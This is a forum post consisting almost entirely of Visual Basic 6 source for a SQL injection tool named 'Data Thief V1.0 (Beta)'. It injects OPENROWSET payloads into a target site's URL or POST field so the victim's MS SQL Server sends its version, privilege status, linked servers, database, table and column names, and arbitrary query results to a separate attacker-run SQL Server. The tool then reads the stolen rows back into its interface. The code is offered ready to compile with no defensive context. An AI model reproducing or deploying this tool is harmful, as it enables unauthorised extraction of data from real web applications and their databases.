来源: FireFox技术论坛
vb6.0+ xp编译通过
复制内容到剪贴板
代码:
Option Explicit
Dim Url As String
Dim PostData As String
Dim Method As String
Private Sub CboMethod_Click()
If CboMethod.ListIndex Then
TxtPostData.Enabled = True
Else
TxtPostData.Enabled = False
End If
End Sub
Private Sub CmdGo_Click()
Dim DATABASES_INJECTION_STR As String
Dim SERVERS_INJECTION_STR As String
Dim VERSION_INJECTION_STR As String
On Error GoTo DisplayError
If TxtUrl.Text <> "" Then
If (CboMethod.Text = "POST" And TxtPostData.Text <> "") Or (CboMethod.Text = "GET") Then
DATABASES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##databases') select name from master.dbo.sysdatabases--"
SERVERS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##servers') select srvname from master.dbo.sysservers--"
VERSION_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##version') select @@VERSION union all select 'Login name: ' %2B suser_sname() %2B char(13) %2B 'User name: ' %2B user %2B char(13) %2B 'Is db_owner: ' %2B convert(varchar(1),IS_MEMBER ('db_owner') ) %2B char(13) %2B 'Is sysadmin: ' %2B convert(varchar(1),IS_SRVROLEMEMBER('sysadmin')) --"
ClearLists
Connect TxtServer.Text, TxtLogin.Text, TxtPassword.Text, TxtPort.Text
CreateTables
SetVars
SubmitInjection Url, Method, PostData, DATABASES_INJECTION_STR
SetVars
SubmitInjection Url, Method, PostData, SERVERS_INJECTION_STR
SetVars
SubmitInjection Url, Method, PostData, VERSION_INJECTION_STR
GetVersion
GetServers
GetDatabases
Else
MsgBox "Please, Input the post data value"
End If
Else
MsgBox "Please, Input the url value"
End If
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub CmdListFields_Click()
Dim FIELDS_INJECTION_STR As String
On Error GoTo DisplayError
If LstTables.List(LstTables.ListIndex) <> "" Then
FIELDS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##fields') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.syscolumns where id=object_id('" + LstDatabases.List(LstDatabases.ListIndex) + ".." + LstTables.List(LstTables.ListIndex) + "')--"
SetVars
TxtQuery.Text = "Select "
SubmitInjection Url, Method, PostData, FIELDS_INJECTION_STR
GetFields
Else
MsgBox "Please, Select a table"
End If
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub CmdListTables_Click()
Dim TABLES_INJECTION_STR As String
On Error GoTo DisplayError
If LstDatabases.List(LstDatabases.ListIndex) <> "" Then
If ChkSysTables Then
TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U' or xtype='S'--"
Else
TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U'--"
End If
SetVars
LstFields.Clear
TxtQuery.Text = "Select "
SubmitInjection Url, Method, PostData, TABLES_INJECTION_STR
GetTables
Else
MsgBox "Please, Select a Database"
End If
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub CmdRunQuery_Click()
Dim Fields As String
Dim Query As String
Dim QUERY_INJECTION_STR As String
On Error GoTo DisplayError
If TxtQuery.Text <> "Select " Then
SetVars
Fields = Left(TxtQuery.Text, Len(TxtQuery) - 1)
Fields = Replace(Fields, "Select ", "")
Query = "Select top " + TxtMaxRows.Text + " " + Fields + " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex)
CreateTableResults Fields
QUERY_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tableresults')" + Query + "--"
SubmitInjection Url, Method, PostData, QUERY_INJECTION_STR
GetResults
Else
MsgBox "Please, Select One or More Fields"
End If
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub Form_Load()
CboMethod.ListIndex = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error GoTo DisplayError
Disconnect
End
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub LstFields_ItemCheck(Item As Integer)
On Error GoTo DisplayError
If InStr(1, TxtQuery.Text, " from", vbTextCompare) Then
TxtQuery.Text = Replace(TxtQuery.Text, " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex), "")
TxtQuery.Text = TxtQuery.Text + ","
End If
If LstFields.Selected(Item) Then
TxtQuery.Text = TxtQuery.Text + LstFields.List(Item) + ","
Else
TxtQuery.Text = Replace(TxtQuery.Text, LstFields.List(Item) + ",", "")
End If
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub
Private Sub ClearLists()
LstLinkedServer.Clear
LstDatabases.Clear
LstTables.Clear
LstFields.Clear
End Sub
Private Sub SetVars()
Url = TxtUrl.Text
PostData = TxtPostData.Text
Method = CboMethod.Text
End Sub
Private Sub TxtMaxRows_KeyPress(KeyAscii As Integer)
If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
KeyAscii = 0
End If
End Sub
Private Sub TxtPort_KeyPress(KeyAscii As Integer)
If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
KeyAscii = 0
End If
End Sub
Option Explicit
Const USER_AGENT = "Data Thief V1.0 (Beta)"
Dim Con As New ADODB.Connection
'Open the url submiting the data
Public Sub OpenUrl(Url As String, Method As String, PostData As String)
Dim HttpParser As New XMLHTTP
Url = Replace(Url, " ", "%20")
If Method = "GET" Then
HttpParser.open Method, Url, False
HttpParser.setRequestHeader "User-Agent", USER_AGENT
HttpParser.send
Else
PostData = Replace(PostData, " ", "%20")
HttpParser.open Method, Url, False
HttpParser.setRequestHeader "User-Agent", USER_AGENT
HttpParser.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
HttpParser.send (PostData)
End If
FrmHtml.TxtHtml.Text = HttpParser.responseText
FrmHtml.WindowState = 1
FrmHtml.Show
Set HttpParser = Nothing
End Sub
'Get the servers names from temporary table
Public Sub GetServers()
Dim Rec As New ADODB.Recordset
Rec.ActiveConnection = Con
Rec.open "Select name from ##Servers"
FrmMain.LstLinkedServer.Clear
Do While Not Rec.EOF
FrmMain.LstLinkedServer.AddItem Rec.Fields(0)
Rec.MoveNext
Loop
Rec.Close
End Sub
'Get the databases names from temporary table
Public Sub GetDatabases()
Dim Rec As New ADODB.Recordset
Rec.ActiveConnection = Con
Rec.open "Select name from ##Databases"
FrmMain.LstDatabases.Clear
Do While Not Rec.EOF
FrmMain.LstDatabases.AddItem Rec.Fields(0)
Rec.MoveNext
Loop
Rec.Close
End Sub
'Get the tables names from temporary table
Public Sub GetTables()
Dim Rec As New ADODB.Recordset
Rec.ActiveConnection = Con
Rec.open "Select name from ##Tables", , , adLockOptimistic
FrmMain.LstTables.Clear
Do While Not Rec.EOF
FrmMain.LstTables.AddItem Rec.Fields(0)
Rec.Delete
Rec.MoveNext
Loop
Rec.Close
End Sub
'Get the fields names from temporary table
Public Sub GetFields()
Dim Rec As New ADODB.Recordset
Rec.ActiveConnection = Con
Rec.open "Select name from ##Fields", , , adLockOptimistic
FrmMain.LstFields.Clear
Do While Not Rec.EOF
FrmMain.LstFields.AddItem Rec.Fields(0)
Rec.Delete
Rec.MoveNext
Loop
Rec.Close
End Sub
'Get the SQL Server version from temporary table
Public Sub GetVersion()
Dim Rec As New ADODB.Recordset
Dim i As Integer
Rec.ActiveConnection = Con
Rec.open "Select * from ##version"
FrmMain.TxtOutput.Text = ""
If Not Rec.EOF Then
FrmMain.TxtOutput.Text = Rec.Fields(0).Name
FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
End If
Rec.Close
End Sub
'Get the results of the query from temporary table
Public Sub GetResults()
Dim Rec As New ADODB.Recordset
Dim i As Integer
Rec.ActiveConnection = Con
Rec.open "Select * from ##tableresults"
FrmMain.TxtOutput.Text = ""
For i = 0 To Rec.Fields.Count - 1
FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + Rec.Fields(i).Name + vbTab
Next i
If Not Rec.EOF Then
FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
End If
Rec.Close
End Sub
Public Sub Connect(Server As String, Uid As String, Pwd As String, Port As String)
If Con = "" Then
Con.ConnectionString = "provider=sqloledb;Network=DBMSSOCN;Address=" + Server + "," + Port + ";uid=" + Uid + ";pwd=" + Pwd + ";"
Con.ConnectionTimeout = 10
Con.open
End If
End Sub
Public Sub Disconnect()
If Con <> "" Then Con.Close
Set Con = Nothing
End Sub
'Create temporary tables to hold the data
Public Sub CreateTables()
Dim Rec As New ADODB.Recordset
Rec.ActiveConnection = Con
Rec.open "if object_id('tempdb..##version') is not null drop table ##version "
Rec.open "create table ##version (VERSION varchar(500))"
Rec.open "if object_id('tempdb..##servers') is not null drop table ##servers "
Rec.open "create table ##servers (name varchar(128))"
Rec.open "if object_id('tempdb..##databases') is not null drop table ##databases "
Rec.open "create table ##databases (name varchar(128))"
Rec.open "if object_id('tempdb..##tables') is not null drop table ##tables "
Rec.open "create table ##tables (name varchar(128))"
Rec.open "if object_id('tempdb..##fields') is not null drop table ##fields "
Rec.open "create table ##fields (name varchar(128))"
End Sub
'Create a temporary table to hold query results
Public Sub CreateTableResults(Fields As String)
Dim Rec As New ADODB.Recordset
Dim StrArray() As String
Dim Query As String
Dim i As Byte
StrArray = Split(Fields, ",")
Query = "create table ##tableresults ("
If UBound(StrArray) = 0 Then
Query = Query + StrArray(0) + " sql_variant)"
Else
For i = 0 To UBound(StrArray)
'comment this if SQL Server 7
Query = Query + StrArray(i) + " sql_variant,"
'uncomment this if SQL Server 7
'Query = Query + StrArray(i) + " varchar(8000),"
Next i
Query = Left(Query, Len(Query) - 1) + ")"
End If
Rec.ActiveConnection = Con
Rec.open "if object_id('tempdb..##tableresults') is not null drop table ##tableresults "
Rec.open Query
End Sub
'Submit data
Public Sub SubmitInjection(Url As String, Method As String, PostData As String, InjectionStr As String)
If Method = "POST" Then
PostData = Replace(PostData, "<***>", InjectionStr)
OpenUrl Url, Method, PostData
Else
Url = Replace(Url, "<***>", InjectionStr)
OpenUrl Url, Method, PostData
End If
End Sub
